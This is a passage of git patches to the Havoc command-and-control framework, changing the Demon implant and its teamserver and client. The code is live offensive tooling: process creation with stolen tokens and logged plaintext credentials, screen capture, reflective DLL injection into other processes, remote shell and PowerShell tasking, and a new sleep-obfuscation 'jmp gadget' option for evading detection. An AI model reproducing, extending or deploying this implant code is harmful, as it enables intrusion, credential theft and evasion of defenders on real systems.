Instance.Win32.CreateProcessWithTokenW( + if ( ! Instance->Win32.CreateProcessWithTokenW( PrimaryToken, LOGON_NETCREDENTIALS_ONLY, App, @@ -688,14 +688,14 @@ BOOL ProcessCreate( goto Cleanup; } } - else if ( Instance.Tokens.Token->Type == TOKEN_TYPE_MAKE_NETWORK ) + else if ( Instance->Tokens.Token->Type == TOKEN_TYPE_MAKE_NETWORK ) { PUTS( "CreateProcessWithLogonW" ) - PRINTF( "lpUser[%s] lpDomain[%s] lpPassword[%s]", Instance.Tokens.Token->lpUser, Instance.Tokens.Token->lpDomain, Instance.Tokens.Token->lpPassword ) - if ( ! Instance.Win32.CreateProcessWithLogonW( - Instance.Tokens.Token->lpUser, - Instance.Tokens.Token->lpDomain, - Instance.Tokens.Token->lpPassword, + PRINTF( "lpUser[%s] lpDomain[%s] lpPassword[%s]", Instance->Tokens.Token->lpUser, Instance->Tokens.Token->lpDomain, Instance->Tokens.Token->lpPassword ) + if ( ! Instance->Win32.CreateProcessWithLogonW( + Instance->Tokens.Token->lpUser, + Instance->Tokens.Token->lpDomain, + Instance->Tokens.Token->lpPassword, LOGON_NETCREDENTIALS_ONLY, App, CmdLine, @@ -714,7 +714,7 @@ BOOL ProcessCreate( } else { - if ( ! Instance.Win32.CreateProcessW( + if ( ! Instance->Win32.CreateProcessW( App, CmdLine, NULL, @@ -734,7 +734,7 @@ BOOL ProcessCreate( } /* Check if we managed to spawn a process */ - if ( ProcessInfo->hProcess && Instance.Config.Implant.Verbose ) + if ( ProcessInfo->hProcess && Instance->Config.Implant.Verbose ) { PUTS( "Send info back" ) if ( ! CmdLine ) @@ -747,7 +747,7 @@ BOOL ProcessCreate( { INT32 i = 0; INT32 x = ( INT32 ) StringLengthW( CmdLine ); - PWCHAR s = Instance.Win32.LocalAlloc( LPTR, x * sizeof( WCHAR ) ); + PWCHAR s = Instance->Win32.LocalAlloc( LPTR, x * sizeof( WCHAR ) ); MemCopy( s, CmdLine, x ); @@ -770,12 +770,12 @@ BOOL ProcessCreate( Cleanup: #if _M_IX86 if ( DisabledWow64Redir ) { - Instance.Win32.Wow64RevertWow64FsRedirection( Wow64Value ); + Instance->Win32.Wow64RevertWow64FsRedirection( Wow64Value ); } #endif if ( Return && Piped ) { - JobAdd( Instance.CurrentRequestID, ProcessInfo->dwProcessId, JOB_TYPE_TRACK_PROCESS, JOB_STATE_RUNNING, ProcessInfo->hProcess, AnonPipe ); + JobAdd( Instance->CurrentRequestID, ProcessInfo->dwProcessId, JOB_TYPE_TRACK_PROCESS, JOB_STATE_RUNNING, ProcessInfo->hProcess, AnonPipe ); } else if ( ! Return && Piped ) { @@ -892,17 +892,17 @@ BOOL ReadLocalFile( DWORD Read = 0; HANDLE hFile = NULL; - hFile = Instance.Win32.CreateFileW( FileName, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 ); + hFile = Instance->Win32.CreateFileW( FileName, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 ); if ( ( ! hFile ) || ( hFile == INVALID_HANDLE_VALUE ) ) { PUTS( "CreateFileW: Failed" ) PACKAGE_ERROR_WIN32 goto Cleanup; } - *FileSize = Instance.Win32.GetFileSize( hFile, 0 ); - *FileContent = Instance.Win32.LocalAlloc( LPTR, *FileSize ); + *FileSize = Instance->Win32.GetFileSize( hFile, 0 ); + *FileContent = Instance->Win32.LocalAlloc( LPTR, *FileSize ); - if ( ! Instance.Win32.ReadFile( hFile, *FileContent, *FileSize, &Read, NULL ) ) { + if ( ! Instance->Win32.ReadFile( hFile, *FileContent, *FileSize, &Read, NULL ) ) { PUTS( "ReadFile: Failed" ) PACKAGE_ERROR_WIN32 goto Cleanup; @@ -917,7 +917,7 @@ BOOL ReadLocalFile( } if ( ! Success && *FileContent ) { - Instance.Win32.LocalFree( *FileContent ); + Instance->Win32.LocalFree( *FileContent ); *FileContent = NULL; *FileSize = 0; } @@ -983,7 +983,7 @@ BOOL AnonPipesInit( ) { SECURITY_ATTRIBUTES SecurityAttr = { sizeof( SECURITY_ATTRIBUTES ), NULL, TRUE }; - if ( ! Instance.Win32.CreatePipe( &AnonPipes->StdOutRead, &AnonPipes->StdOutWrite, &SecurityAttr, 0 ) ) { + if ( ! Instance->Win32.CreatePipe( &AnonPipes->StdOutRead, &AnonPipes->StdOutWrite, &SecurityAttr, 0 ) ) { PACKAGE_ERROR_WIN32 return FALSE; } @@ -1016,10 +1016,10 @@ VOID AnonPipesRead( AnonPipes->StdOutWrite = NULL; } - Buffer = Instance.Win32.LocalAlloc( LPTR, 0 ); + Buffer = Instance->Win32.LocalAlloc( LPTR, 0 ); do { - Success = Instance.Win32.ReadFile( AnonPipes->StdOutRead, buf, 1024, &dwRead, NULL ); + Success = Instance->Win32.ReadFile( AnonPipes->StdOutRead, buf, 1024, &dwRead, NULL ); PRINTF( "dwRead => %d\n", dwRead ) if ( dwRead == 0 ) { @@ -1028,7 +1028,7 @@ VOID AnonPipesRead( dwBufferSize += dwRead; - Buffer = Instance.Win32.LocalReAlloc( Buffer, dwBufferSize, LMEM_MOVEABLE ); + Buffer = Instance->Win32.LocalReAlloc( Buffer, dwBufferSize, LMEM_MOVEABLE ); MemCopy( Buffer + ( dwBufferSize - dwRead ), buf, dwRead ); MemSet( buf, 0, dwRead ); @@ -1069,27 +1069,27 @@ BOOL WinScreenshot( DWORD BitMapSize = 0; // NOTE: if GetSystemMetrics fails, screenshot works anyways - INT x = Instance.Win32.GetSystemMetrics( SM_XVIRTUALSCREEN ); - INT y = Instance.Win32.GetSystemMetrics( SM_YVIRTUALSCREEN ); + INT x = Instance->Win32.GetSystemMetrics( SM_XVIRTUALSCREEN ); + INT y = Instance->Win32.GetSystemMetrics( SM_YVIRTUALSCREEN ); MemSet( &BitFileHdr, 0, sizeof( BITMAPFILEHEADER ) ); MemSet( &BitInfoHdr, 0, sizeof( BITMAPINFOHEADER ) ); MemSet( &BitMapInfo, 0, sizeof( BITMAPINFO ) ); MemSet( &AllDesktops,0, sizeof( BITMAP ) ); - hDC = Instance.Win32.GetDC( NULL ); + hDC = Instance->Win32.GetDC( NULL ); if ( ! hDC ) { PUTS( "GetDC failed" ) goto Cleanup; } - hTempMap = Instance.Win32.GetCurrentObject( hDC, OBJ_BITMAP ); + hTempMap = Instance->Win32.GetCurrentObject( hDC, OBJ_BITMAP ); if ( ! hTempMap ) { PUTS( "GetCurrentObject failed" ) goto Cleanup; } - if ( ! Instance.Win32.GetObjectW( hTempMap, sizeof( BITMAP ), &AllDesktops ) ) { + if ( ! Instance->Win32.GetObjectW( hTempMap, sizeof( BITMAP ), &AllDesktops ) ) { PUTS( "GetObjectW failed" ) goto Cleanup; } @@ -1108,27 +1108,27 @@ BOOL WinScreenshot( cbBits = ( ( ( 24 * AllDesktops.bmWidth + 31 ) &~31 ) / 8 ) * AllDesktops.bmHeight; BitMapSize = cbBits + ( sizeof( BITMAPFILEHEADER ) + sizeof( BITMAPINFOHEADER ) ); - BitMapImage = Instance.Win32.LocalAlloc( LPTR, BitMapSize ); + BitMapImage = Instance->Win32.LocalAlloc( LPTR, BitMapSize ); - hMemDC = Instance.Win32.CreateCompatibleDC( hDC ); + hMemDC = Instance->Win32.CreateCompatibleDC( hDC ); if ( ! hMemDC ) { PUTS( "CreateCompatibleDC failed" ) goto Cleanup; } - hBitmap = Instance.Win32.CreateDIBSection( hDC, &BitMapInfo, DIB_RGB_COLORS, ( VOID** ) &bBits, NULL, 0 ); + hBitmap = Instance->Win32.CreateDIBSection( hDC, &BitMapInfo, DIB_RGB_COLORS, ( VOID** ) &bBits, NULL, 0 ); if ( ! hBitmap ) { PUTS( "CreateDIBSection failed" ) goto Cleanup; } - ObjPtr = Instance.Win32.SelectObject( hMemDC, hBitmap ); + ObjPtr = Instance->Win32.SelectObject( hMemDC, hBitmap ); if ( ! ObjPtr || ObjPtr == HGDI_ERROR ) { PUTS( "SelectObject failed" ) goto Cleanup; } - if ( ! Instance.Win32.BitBlt( hMemDC, 0, 0, AllDesktops.bmWidth, AllDesktops.bmHeight, hDC, x, y, SRCCOPY ) ) { + if ( ! Instance->Win32.BitBlt( hMemDC, 0, 0, AllDesktops.bmWidth, AllDesktops.bmHeight, hDC, x, y, SRCCOPY ) ) { PUTS( "BitBlt failed" ) goto Cleanup; } @@ -1148,19 +1148,19 @@ Cleanup: *ImageSize = BitMapSize; if ( hTempMap ) { - Instance.Win32.DeleteObject( hTempMap ); + Instance->Win32.DeleteObject( hTempMap ); } if ( hMemDC ) { - Instance.Win32.DeleteDC( hMemDC ); + Instance->Win32.DeleteDC( hMemDC ); } if ( hDC ) { - Instance.Win32.ReleaseDC( NULL, hDC ); + Instance->Win32.ReleaseDC( NULL, hDC ); } if ( hBitmap ) { - Instance.Win32.DeleteObject( hBitmap ); + Instance->Win32.DeleteObject( hBitmap ); } return ReturnValue; @@ -1180,7 +1180,7 @@ BOOL PipeRead( DWORD Total = 0; do { - if ( ! Instance.Win32.ReadFile( Handle, C_PTR( U_PTR( Buffer->Buffer ) + Total ), MIN( ( Buffer->Length - Total ), PIPE_BUFFER_MAX ), &Read, NULL ) ) { + if ( ! Instance->Win32.ReadFile( Handle, C_PTR( U_PTR( Buffer->Buffer ) + Total ), MIN( ( Buffer->Length - Total ), PIPE_BUFFER_MAX ), &Read, NULL ) ) { if ( NtGetLastError() != ERROR_MORE_DATA ) { PRINTF( "ReadFile failed with %d\n", NtGetLastError() ) return FALSE; @@ -1207,7 +1207,7 @@ BOOL PipeWrite( DWORD Total = 0; do { - if ( ! Instance.Win32.WriteFile( Handle, Buffer->Buffer + Total, MIN( ( Buffer->Length - Total ), PIPE_BUFFER_MAX ), &Written , NULL ) ) { + if ( ! Instance->Win32.WriteFile( Handle, Buffer->Buffer + Total, MIN( ( Buffer->Length - Total ), PIPE_BUFFER_MAX ), &Written , NULL ) ) { return FALSE; } @@ -1293,7 +1293,7 @@ VOID CfgAddressAdd( BOOL EventSet( IN HANDLE Event ) { - return NT_SUCCESS( Instance.Win32.NtSetEvent( Event, NULL ) ); + return NT_SUCCESS( Instance->Win32.NtSetEvent( Event, NULL ) ); } @@ -1307,8 +1307,8 @@ ULONG RandomNumber32( ULONG Seed = 0; Seed = NtGetTickCount(); - Seed = Instance.Win32.RtlRandomEx( &Seed ); - Seed = Instance.Win32.RtlRandomEx( &Seed ); + Seed = Instance->Win32.RtlRandomEx( &Seed ); + Seed = Instance->Win32.RtlRandomEx( &Seed ); Seed = ( Seed % ( LONG_MAX - 2 + 1 ) ) + 2; return Seed % 2 == 0 ? Seed : Seed + 1; @@ -1324,7 +1324,7 @@ BOOL RandomBool( ULONG Seed = 0; Seed = NtGetTickCount(); - Seed = Instance.Win32.RtlRandomEx( &Seed ); + Seed = Instance->Win32.RtlRandomEx( &Seed ); return Seed % 2 == 0 ? TRUE : FALSE; } @@ -1406,7 +1406,7 @@ VOID DemonPrintf( PCHAR fmt, ... ) PVOID CallbackOutput = NULL; INT CallbackSize = 0; - if ( ! Instance.Session.Connected ) { + if ( ! Instance->Session.Connected ) { return; } @@ -1414,10 +1414,10 @@ VOID DemonPrintf( PCHAR fmt, ... ) va_start( VaListArg, fmt ); - CallbackSize = Instance.Win32.vsnprintf( NULL, 0, fmt, VaListArg ); - CallbackOutput = Instance.Win32.LocalAlloc( LPTR, CallbackSize ); + CallbackSize = Instance->Win32.vsnprintf( NULL, 0, fmt, VaListArg ); + CallbackOutput = Instance->Win32.LocalAlloc( LPTR, CallbackSize ); - Instance.Win32.vsnprintf( CallbackOutput, CallbackSize, fmt, VaListArg ); + Instance->Win32.vsnprintf( CallbackOutput, CallbackSize, fmt, VaListArg ); va_end( VaListArg ); @@ -1426,7 +1426,7 @@ VOID DemonPrintf( PCHAR fmt, ... ) PackageTransmit( package ); MemSet( CallbackOutput, 0, CallbackSize ); - Instance.Win32.LocalFree( CallbackOutput ); + Instance->Win32.LocalFree( CallbackOutput ); } #elif defined(SHELLCODE) && defined(DEBUG) @@ -1440,33 +1440,33 @@ VOID LogToConsole( va_list VaListArg = 0; // have we initialized all the function addresses? - if ( Instance.Win32.AttachConsole == NULL || - Instance.Win32.vsnprintf == NULL || - Instance.Win32.GetStdHandle == NULL || - Instance.Win32.WriteConsoleA == NULL || - Instance.Win32.LocalAlloc == NULL ) + if ( Instance->Win32.AttachConsole == NULL || + Instance->Win32.vsnprintf == NULL || + Instance->Win32.GetStdHandle == NULL || + Instance->Win32.WriteConsoleA == NULL || + Instance->Win32.LocalAlloc == NULL ) return; // get the handle to the output console - if ( Instance.hConsoleOutput == NULL ) + if ( Instance->hConsoleOutput == NULL ) { - Instance.Win32.AttachConsole( ATTACH_PARENT_PROCESS ); - Instance.hConsoleOutput = Instance.Win32.GetStdHandle( STD_OUTPUT_HANDLE ); - if ( ! Instance.hConsoleOutput ) + Instance->Win32.AttachConsole( ATTACH_PARENT_PROCESS ); + Instance->hConsoleOutput = Instance->Win32.GetStdHandle( STD_OUTPUT_HANDLE ); + if ( ! Instance->hConsoleOutput ) return; } va_start( VaListArg, fmt ); // allocate space for the final string - OutputSize = Instance.Win32.vsnprintf( NULL, 0, fmt, VaListArg ) + 1; - OutputString = Instance.Win32.LocalAlloc( LPTR, OutputSize ); + OutputSize = Instance->Win32.vsnprintf( NULL, 0, fmt, VaListArg ) + 1; + OutputString = Instance->Win32.LocalAlloc( LPTR, OutputSize ); // write the final string - Instance.Win32.vsnprintf( OutputString, OutputSize, fmt, VaListArg ); + Instance->Win32.vsnprintf( OutputString, OutputSize, fmt, VaListArg ); // write it to the console - Instance.Win32.WriteConsoleA( Instance.hConsoleOutput, OutputString, OutputSize, NULL, NULL ); + Instance->Win32.WriteConsoleA( Instance->hConsoleOutput, OutputString, OutputSize, NULL, NULL ); DATA_FREE( OutputString, OutputSize ); @@ -1509,7 +1509,7 @@ PROOT_DIR listDir( } // allocate the path on the heap to keep stack usage low (given that this function is recursive) - Path = Instance.Win32.LocalAlloc( LPTR, ( MAX_PATH + 2 + 1 ) * sizeof( WCHAR ) ); + Path = Instance->Win32.LocalAlloc( LPTR, ( MAX_PATH + 2 + 1 ) * sizeof( WCHAR ) ); if ( ! Path ) { PUTS( "Failed to allocate memory" ); @@ -1521,7 +1521,7 @@ PROOT_DIR listDir( MemCopy( Path, StartPath, PathSize * sizeof( WCHAR ) ); // search for the first file in the folder specified - hFile = Instance.Win32.FindFirstFileW( Path, &FindData ); + hFile = Instance->Win32.FindFirstFileW( Path, &FindData ); if ( hFile == INVALID_HANDLE_VALUE ) { PRINTF( "FindFirstFileW failed for path %ls\n", Path ); @@ -1539,8 +1539,8 @@ PROOT_DIR listDir( Path[ PathSize ] = 0x00; // repeat the search - Instance.Win32.FindClose( hFile ); - hFile = Instance.Win32.FindFirstFileW( Path, &FindData ); + Instance->Win32.FindClose( hFile ); + hFile = Instance->Win32.FindFirstFileW( Path, &FindData ); if ( hFile == INVALID_HANDLE_VALUE ) { PRINTF( "FindFirstFileW failed for path %ls\n", Path ); @@ -1549,7 +1549,7 @@ PROOT_DIR listDir( } // allocate the RootDir - RootDir = Instance.Win32.LocalAlloc( LPTR, sizeof( ROOT_DIR ) ); + RootDir = Instance->Win32.LocalAlloc( LPTR, sizeof( ROOT_DIR ) ); if ( ! RootDir ) { PUTS( "Failed to allocate memory" ); @@ -1586,7 +1586,7 @@ PROOT_DIR listDir( // if we are interested in subdirs, remember that we found this directory if ( IsDir && SubDirs ) { - SubDir = Instance.Win32.LocalAlloc( LPTR, sizeof( SUB_DIR ) ); + SubDir = Instance->Win32.LocalAlloc( LPTR, sizeof( SUB_DIR ) ); if ( ! SubDir ) { PUTS( "Failed to allocate memory" ); @@ -1637,15 +1637,15 @@ PROOT_DIR listDir( } // save this directory or file - DirOrFile = Instance.Win32.LocalAlloc( LPTR, sizeof( DIR_OR_FILE ) ); + DirOrFile = Instance->Win32.LocalAlloc( LPTR, sizeof( DIR_OR_FILE ) ); if ( ! DirOrFile ) { PUTS( "Failed to allocate memory" ); goto Cleanup; } - Instance.Win32.FileTimeToSystemTime( &FindData.ftLastAccessTime, &DirOrFile->FileTime ); - Instance.Win32.SystemTimeToTzSpecificLocalTime( 0, &DirOrFile->FileTime, &DirOrFile->SystemTime ); + Instance->Win32.FileTimeToSystemTime( &FindData.ftLastAccessTime, &DirOrFile->FileTime ); + Instance->Win32.SystemTimeToTzSpecificLocalTime( 0, &DirOrFile->FileTime, &DirOrFile->SystemTime ); DirOrFile->IsDir = IsDir; @@ -1672,7 +1672,7 @@ PROOT_DIR listDir( } LastDirOrFile = DirOrFile; } - while ( Instance.Win32.FindNextFileW( hFile, &FindData ) ); + while ( Instance->Win32.FindNextFileW( hFile, &FindData ) ); // list all subdirs recursively if requested SubDir = RootSubDir; @@ -1698,7 +1698,7 @@ PROOT_DIR listDir( Cleanup: if ( hFile ) - Instance.Win32.FindClose( hFile ); + Instance->Win32.FindClose( hFile ); DATA_FREE( Path, ( MAX_PATH + 2 + 1 ) * sizeof( WCHAR ) ); diff --git a/payloads/Demon/src/inject/Inject.c b/payloads/Demon/src/inject/Inject.c index 95b1971..86f59d0 100644 --- a/payloads/Demon/src/inject/Inject.c +++ b/payloads/Demon/src/inject/Inject.c @@ -65,7 +65,7 @@ DWORD Inject( } /* check the architecture matches */ - if ( x64 && Instance.Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ) { + if ( x64 && Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ) { PUTS( "The OS is x86!" ) Status = INJECT_ERROR_PROCESS_ARCH_MISMATCH; goto END; @@ -77,7 +77,7 @@ DWORD Inject( PUTS( "The process target process is x86!" ) Status = INJECT_ERROR_PROCESS_ARCH_MISMATCH; goto END; - } else if ( ! x64 && Instance.Session.OS_Arch == PROCESSOR_ARCHITECTURE_AMD64 && ! IsWow64 ) { + } else if ( ! x64 && Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_AMD64 && ! IsWow64 ) { PUTS( "The process target process is x64!" ) Status = INJECT_ERROR_PROCESS_ARCH_MISMATCH; goto END; @@ -185,7 +185,7 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz BOOL HasRDll = FALSE; DWORD ReturnValue = 0; SIZE_T BytesWritten = 0; - BOOL x64 = Instance.Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ? FALSE : TRUE; + BOOL x64 = Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ? FALSE : TRUE; if( ! DllBuffer || ! DllLength || ! hTargetProcess ) { @@ -220,7 +220,7 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz } else { PUTS( "The DLL does not have a Reflective Loader defined, using KaynLdr" ); HasRDll = FALSE; - FullDll = Instance.Win32.LocalAlloc( LPTR, DllLdrSize + DllLength ); + FullDll = Instance->Win32.LocalAlloc( LPTR, DllLdrSize + DllLength ); FullDllSize = DllLdrSize + DllLength; MemCopy( FullDll, DllLdr, DllLdrSize ); MemCopy( FullDll + DllLdrSize, DllBuffer, DllLength ); @@ -240,7 +240,7 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz if ( ! NT_SUCCESS( NtStatus ) ) { PUTS( "NtWriteVirtualMemory: Failed to write memory for parameters" ) - PackageTransmitError( CALLBACK_ERROR_WIN32, Instance.Win32.RtlNtStatusToDosError( NtStatus ) ); + PackageTransmitError( CALLBACK_ERROR_WIN32, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); ReturnValue = NtStatus; goto Cleanup; } @@ -250,7 +250,7 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz else { PUTS( "NtAllocateVirtualMemory: Failed to allocate memory for parameters" ) - PackageTransmitError( CALLBACK_ERROR_WIN32, Instance.Win32.RtlNtStatusToDosError( NtStatus ) ); + PackageTransmitError( CALLBACK_ERROR_WIN32, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); ReturnValue = -1; goto Cleanup; } @@ -271,7 +271,7 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz MemRegionSize = 16384; BytesWritten = 0; - // NtStatus = Instance.Win32.NtProtectVirtualMemory( hTargetProcess, &MemRegion, &MemRegionSize, PAGE_EXECUTE_READ, &OldProtect ); + // NtStatus = Instance->Win32.NtProtectVirtualMemory( hTargetProcess, &MemRegion, &MemRegionSize, PAGE_EXECUTE_READ, &OldProtect ); if ( MmVirtualProtect( DX_MEM_SYSCALL, hTargetProcess, MemRegion, MemRegionSize, PAGE_EXECUTE_READ ) ) { ctx->Parameter = MemParamsBuffer; @@ -299,7 +299,7 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz else { PRINTF( "NtWriteVirtualMemory: Failed to write memory for library [%x]\n", NtStatus ) - PackageTransmitError( 0x1, Instance.Win32.RtlNtStatusToDosError( NtStatus ) ); + PackageTransmitError( 0x1, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); ReturnValue = NtStatus; goto Cleanup; } @@ -328,9 +328,9 @@ DWORD DllSpawnReflective( LPVOID DllLdr, DWORD DllLdrSize, LPVOID DllBuffer, DWO DWORD Result = 0; if ( GetPeArch( DllBuffer ) == PROCESS_ARCH_X86 ) // check if dll is x64 - SpawnProc = Instance.Config.Process.Spawn86; + SpawnProc = Instance->Config.Process.Spawn86; else - SpawnProc = Instance.Config.Process.Spawn64; + SpawnProc = Instance->Config.Process.Spawn64; /* Meh this is the default */ Result = ERROR_INJECT_FAILED_TO_SPAWN_TARGET_PROCESS; diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go index 2708125..2253587 100644 --- a/teamserver/cmd/server/teamserver.go +++ b/teamserver/cmd/server/teamserver.go @@ -192,9 +192,9 @@ func (t *Teamserver) Start() { // start teamserver service if t.Profile.Config.Service != nil { - logger.Warn("Service api has been disabled for this version.") + logger.Warn("Service api has been disabled for this version.") - // 3rd Party Agent Support Enabled + // 3rd Party Agent Support Enabled t.Service = service.NewService(t.Server.Engine) t.Service.Teamserver = t t.Service.Data.ServerAgents = &t.Agents diff --git a/teamserver/pkg/common/builder/builder.go b/teamserver/pkg/common/builder/builder.go index c8c8523..c8228db 100644 --- a/teamserver/pkg/common/builder/builder.go +++ b/teamserver/pkg/common/builder/builder.go @@ -43,6 +43,12 @@ const ( SLEEPOBF_FOLIAGE = 3 ) +const ( + SLEEPOBF_BYPASS_NONE = 0 + SLEEPOBF_BYPASS_JMPRAX = 1 + SLEEPOBF_BYPASS_JMPRBX = 2 +) + const ( PROXYLOADING_NONE = 0 PROXYLOADING_RTLREGISTERWAIT = 1 @@ -562,6 +568,7 @@ func (b *Builder) PatchConfig() ([]byte, error) { ConfigSpawn64 string ConfigSpawn32 string ConfigObfTechnique int + ConfigObfBypass int ConfigProxyLoading = PROXYLOADING_NONE ConfigStackSpoof = win32.FALSE ConfigSyscall = win32.FALSE @@ -722,6 +729,43 @@ func (b *Builder) PatchConfig() ([]byte, error) { return nil, errors.New("sleep Obfuscation technique is undefined") } + if val, ok := b.config.Config["Sleep Jmp Gadget"].(string); ok && len(val) > 0 { + + if ConfigObfTechnique != SLEEPOBF_NO_OBF { + switch val { + case "jmp rax": + ConfigObfTechnique = SLEEPOBF_BYPASS_JMPRAX + if !b.silent { + b.SendConsoleMessage("Info", "sleep jump gadget \"jmp rax\" has been specified") + } + break + + case "jmp rbx": + ConfigObfBypass = SLEEPOBF_BYPASS_JMPRBX + if !b.silent { + b.SendConsoleMessage("Info", "sleep jump gadget \"jmp rbx\" has been specified") + } + break + + default: + ConfigObfBypass = SLEEPOBF_BYPASS_NONE + if !b.silent { + b.SendConsoleMessage("Info", "no sleep jump gadget has been specified") + } + break + } + } else { + // if no sleep obfuscation technique has been specified then + // no jmp gadgets are going to be used. + if !b.silent { + b.SendConsoleMessage("Info", "sleep jump gadget option ignored") + } + } + + } else { + return nil, errors.New("sleep Obfuscation technique is undefined") + } + if val, ok := b.config.Config["Stack Duplication"].(bool); ok { if ConfigObfTechnique != SLEEPOBF_NO_OBF { if val { @@ -811,6 +855,7 @@ func (b *Builder) PatchConfig() ([]byte, error) { // bypass techniques DemonConfig.AddInt(ConfigObfTechnique) + DemonConfig.AddInt(ConfigObfBypass) DemonConfig.AddInt(ConfigStackSpoof) DemonConfig.AddInt(ConfigProxyLoading) DemonConfig.AddInt(ConfigSyscall) From e6edba7df56ae4f996644ca7b8f9aa962a543d02 Mon Sep 17 00:00:00 2001 From: S4ntiagoP <93993799+S4ntiagoP@users.noreply.github.com> Date: Wed, 15 Nov 2023 10:33:57 -0300 Subject: [PATCH 5/8] fix last commit breaking BOFs with no params UploadMemFileInChunks now allows FileData of 0 bytes --- teamserver/pkg/agent/demons.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/teamserver/pkg/agent/demons.go b/teamserver/pkg/agent/demons.go index d2625db..f277a5a 100644 --- a/teamserver/pkg/agent/demons.go +++ b/teamserver/pkg/agent/demons.go @@ -37,7 +37,7 @@ func (a *Agent) UploadMemFileInChunks(FileData []byte) uint32 { FileSize := len(FileData) // split the file in chunks of DEMON_MAX_RESPONSE_LENGTH - for start := 0; start < FileSize; start += chunkSize { + for start := 0; start <= FileSize; start += chunkSize { end := start + chunkSize // necessary check to avoid slicing beyond FileData capacity From 8cc9b3821e908d5d28c16be4311d9b02a90cc6e6 Mon Sep 17 00:00:00 2001 From: S4ntiagoP <93993799+S4ntiagoP@users.noreply.github.com> Date: Thu, 16 Nov 2023 09:51:17 -0300 Subject: [PATCH 6/8] shell, powershell and dotnet inline-execute do not need to escape quotes the aim here is to make these commands easier to use but it also makes a bit more complicated to know how the client parses quotes, given that it depends on the command --- client/src/Havoc/Demon/ConsoleInput.cc | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/client/src/Havoc/Demon/ConsoleInput.cc b/client/src/Havoc/Demon/ConsoleInput.cc index 58b8495..5be2199 100644 --- a/client/src/Havoc/Demon/ConsoleInput.cc +++ b/client/src/Havoc/Demon/ConsoleInput.cc @@ -874,7 +874,8 @@ auto DemonCommands::DispatchCommand( bool Send, QString TaskID, const QString& c if ( InputCommands.length() > 1 ) { auto Program = QString("c:\\windows\\system32\\cmd.exe"); - auto Args = QString( "/c " + JoinAtIndex( InputCommands, 1 ) ).toUtf8().toBase64(); // InputCommands[ 1 ].; + // NOTE: the 'shell' command does not need to escape quotes + auto Args = QString( "/c " + JoinAtIndex( commandline.split( " " ), 1 ) ).toUtf8().toBase64(); TaskID = CONSOLE_INFO( "Tasked demon to execute a shell command" ); CommandInputList[ TaskID ] = commandline; @@ -1464,7 +1465,10 @@ auto DemonCommands::DispatchCommand( bool Send, QString TaskID, const QString& c auto Args = QByteArray(); if ( InputCommands.size() > 3 ) - Args = JoinAtIndex( InputCommands, 3 ).toUtf8(); + { + // NOTE: the 'dotnet inline-execute assembly.exe (args)' command does not need to escape quotes + Args = JoinAtIndex( commandline.split( " " ), 3 ).toUtf8(); + } if ( ! QFile::exists( Path ) ) { @@ -1778,7 +1782,8 @@ auto DemonCommands::DispatchCommand( bool Send, QString TaskID, const QString& c if ( InputCommands.length() > 1 ) { auto Program = QString("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"); - auto Args = QString( "-C " + JoinAtIndex( InputCommands, 1 ) ).toUtf8().toBase64(); // InputCommands[ 1 ].; + // NOTE: the 'powershell' command does not need to escape quotes + auto Args = QString( "-C " + JoinAtIndex( commandline.split( " " ), 1 ) ).toUtf8().toBase64(); TaskID = CONSOLE_INFO( "Tasked demon to execute a powershell command/script" ); CommandInputList[ TaskID ] = commandline; From 228aff4165f599dce13eef96ff27bf405da1bbf4 Mon Sep 17 00:00:00 2001 From: S4ntiagoP <93993799+S4ntiagoP@users.noreply.github.com> Date: Thu, 16 Nov 2023 11:14:47 -0300 Subject: [PATCH 7/8] fix bug in 'TokenRemove' an incorrect length was being used when clearing the token domain --- payloads/Demon/src/core/Token.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/payloads/Demon/src/core/Token.c b/payloads/Demon/src/core/Token.c index ac0434d..68a5a90 100644 --- a/payloads/Demon/src/core/Token.c +++ b/payloads/Demon/src/core/Token.c @@ -514,7 +514,7 @@ BOOL TokenRemove( DWORD TokenID ) if ( Instance->Tokens.Vault->lpDomain ) { - MemSet( Instance->Tokens.Vault->lpDomain, 0, StringLengthW( Instance->Tokens.Vault->lpUser ) * sizeof( WCHAR ) ); + MemSet( Instance->Tokens.Vault->lpDomain, 0, StringLengthW( Instance->Tokens.Vault->lpDomain ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( Instance->Tokens.Vault->lpDomain ); Instance->Tokens.Vault->lpDomain = NULL; } @@ -569,7 +569,7 @@ BOOL TokenRemove( DWORD TokenID ) if ( TokenItem->lpDomain ) { - MemSet( TokenItem->lpDomain, 0, StringLengthW( TokenItem->lpUser ) * sizeof( WCHAR ) ); + MemSet( TokenItem->lpDomain, 0, StringLengthW( TokenItem->lpDomain ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( TokenItem->lpDomain ); TokenItem->lpDomain = NULL; } @@ -695,8 +695,8 @@ VOID TokenClear( TokenIndex++; } while ( TRUE ); - for ( int i = 0; i < TokenIndex; i++ ) { - TokenRemove( 0 ); + for ( int i = TokenIndex - 1; i >= 0; i-- ) { + TokenRemove( i ); } Instance->Tokens.Impersonate = FALSE; From d47f5c8ee1088991d13e2906a9d977707b14d7d4 Mon Sep 17 00:00:00 2001 